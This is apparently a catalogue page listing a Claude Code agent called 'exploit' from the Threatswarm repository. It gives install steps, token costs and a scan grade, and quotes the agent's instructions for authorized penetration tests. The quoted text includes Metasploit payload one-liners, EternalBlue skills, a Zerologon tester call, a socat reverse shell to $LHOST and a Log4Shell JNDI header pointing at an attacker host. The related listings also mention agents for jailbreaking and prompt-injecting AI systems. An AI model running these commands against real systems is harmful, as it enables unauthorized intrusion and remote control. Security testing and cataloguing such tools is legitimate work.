exploit

exploit is an agent for Claude Code from mukul975/Threatswarm. It costs 73 tokens per session (1,814 once invoked), scanned A, original, MIT.

An exploitation specialist for authorized security testing that seeks initial access to systems through known weaknesses.

In plain words
What is it for?
It is for CVE testing, Metasploit use, proof-of-concept execution, and obtaining a shell during approved assessments.
Why use it?
It provides a structured process for checking scope, confirming a vulnerability, and recording the smallest necessary test action.

Agent for Claude Code

Written for Claude Code: installed under .claude/. Also seen: model in frontmatter.

Needs its repository: it runs a file that does not travel with it, so clone the repository first. The line is python3 /opt/zerologon/zerologon_tester.py $DC_NAME $DC_IP.

Good fit It is for CVE testing, Metasploit use, proof-of-concept execution, and obtaining a shell during approved assessments.

Compare 6 agents from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/mukul975/Threatswarm
agentmods
npx agentmods add agents/mukul975/threatswarm/exploit

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for exploit

README.md
[![agentmods](https://agentmods.dev/badge/agents/mukul975/threatswarm/exploit/github.svg)](https://agentmods.dev/agents/mukul975/threatswarm/exploit)
Your own site
<a href="https://agentmods.dev/agents/mukul975/threatswarm/exploit"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/exploit/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for exploit

Your own site · 80×15
<a href="https://agentmods.dev/agents/mukul975/threatswarm/exploit"><img src="https://agentmods.dev/badge/agents/mukul975/threatswarm/exploit.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 73 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,814 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00073 $0.01814
Opus 5.5 $0.00029 $0.00726
Sonnet 5.5 $0.00015 $0.00363
Haiku 4.5 $0.00007 $0.00181

Measured 1mo ago against content hash ec0121b005f1, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

exploit scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -H 'X-Api-Version: ${jndi:ldap://$LHOST:1389/a}' http://$TARGET/
.claude/agents/exploit.md · 178 lines

How it starts

The opening of the file, as written. The whole thing — 178 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Cybersecurity Skills (Invoke First)

Before running any exploits, invoke these skills via the Skill tool:

  • cybersecurity-skills:exploiting-vulnerabilities-with-metasploit-framework
  • cybersecurity-skills:exploiting-ms17-010-eternalblue-vulnerability
  • cybersecurity-skills:exploiting-smb-vulnerabilities-with-metasploit

Scope Enforcement

CRITICAL: Read scope.txt FIRST. Confirm target is listed. Confirm recon_summary.md exists — exploitation requires completed recon. Document minimum footprint: what is the smallest action to achieve the objective?

Pre-Flight Checklist (Complete Before ANY Exploit Attempt)

  1. Target is in scope.txt
  2. recon_summary.md exists for target
  3. CVE/vulnerability identified and confirmed (version match)
  4. Exploit reliability assessed (weaponized / functional / theoretical)
  5. LHOST=$LHOST and LPORT=$LPORT set in environment
  6. Listener ready or will be started by exploit module
  7. Evidence directory created: mkdir -p evidence/$(date +%Y%m%d)/$TARGET/

Metasploit One-Liner Pattern

msfconsole -q -x "
use $MODULE;
set RHOSTS $TARGET;
set RPORT $PORT;
set LHOST $LHOST;
set LPORT $LPORT;
set PAYLOAD $PAYLOAD;
set ExitOnSession false;
run -j;
exit
"

SearchSploit Workflow

# Search by service/version
searchsploit "$SERVICE $VERSION" --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
    print(f\"[{e['EDB-ID']}] {e['Title']}\")
    print(f\"  Path: {e['Path']}\")
    print()
"

# Copy exploit to local directory
searchsploit -m $EDB_ID -o evidence/$(date +%Y%m%d)/$TARGET/

Shell Stabilization

# After getting a dumb shell, stabilize with Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# OR
python -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo, fg, reset, export TERM=xterm

# Socat full TTY (if socat available on target)
# Attacker: socat file:`tty`,raw,echo=0 tcp-listen:$LPORT
# Target:   socat exec:bash,pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT

Read the full file on GitHub · 178 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 178 lines · 0 tokens per session scan A ec0121b005f1

Subscribe to this mod's changes

exploit is an agent published in the GitHub repository mukul975/Threatswarm (89 stars, last pushed 5mo ago), licensed MIT. It adds 73 tokens to every session and 1,814 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other agents, from other repositories

web3-auditor

Smart contract security auditor. Checks 10 bug classes in order of frequency (accounting desync 28%, access control 19%, incomplete path 17%, off-by-one 22% of Highs, oracle errors, ERC4626 attacks, reentrancy, flash loan oracle manipulation, signature replay, proxy/upgrade issues). Applies pre-dive kill signals…

Awarexone/Agentic-Bug-Hunter · 101 tokens

osint-collector

Delegates to this agent when the user asks about OSINT, reconnaissance, information gathering, target profiling, email harvesting, subdomain enumeration, social media recon, breach data, open source intelligence, or building a target dossier for authorized engagements.

0xSteph/pentest-ai-agents · 53 tokens

llm-redteam

Delegates to this agent when the user asks about LLM and AI system red teaming, prompt injection (direct and indirect), jailbreak techniques, RAG poisoning, model exfiltration, training data extraction, agent and tool-use abuse, MCP server exploitation, AI guardrail bypass, or red teaming a deployed…

0xSteph/pentest-ai-agents · 79 tokens

malware-analyst

Delegates to this agent when the user asks about malware analysis, reverse engineering, binary analysis, disassembly, debugging, sandbox analysis, static analysis, dynamic analysis, or suspicious file triage.

0xSteph/pentest-ai-agents · 44 tokens

compliance-mapper

Delegates to this agent when the user wants to map penetration-test findings to compliance frameworks — PCI DSS, NIST 800-53 / CSF, ISO 27001, CIS Controls, HIPAA, SOC 2 — produce control-gap analysis, and translate technical findings into compliance impact. Distinct from stig-analyst (STIG hardening) and…

0xSteph/pentest-ai-agents · 84 tokens

detection-engineer

Delegates to this agent when the user asks about detection rules, SIEM queries, threat hunting, indicator analysis, log analysis, blue team detection for specific attack techniques, or creating detection engineering content.

0xSteph/pentest-ai-agents · 45 tokens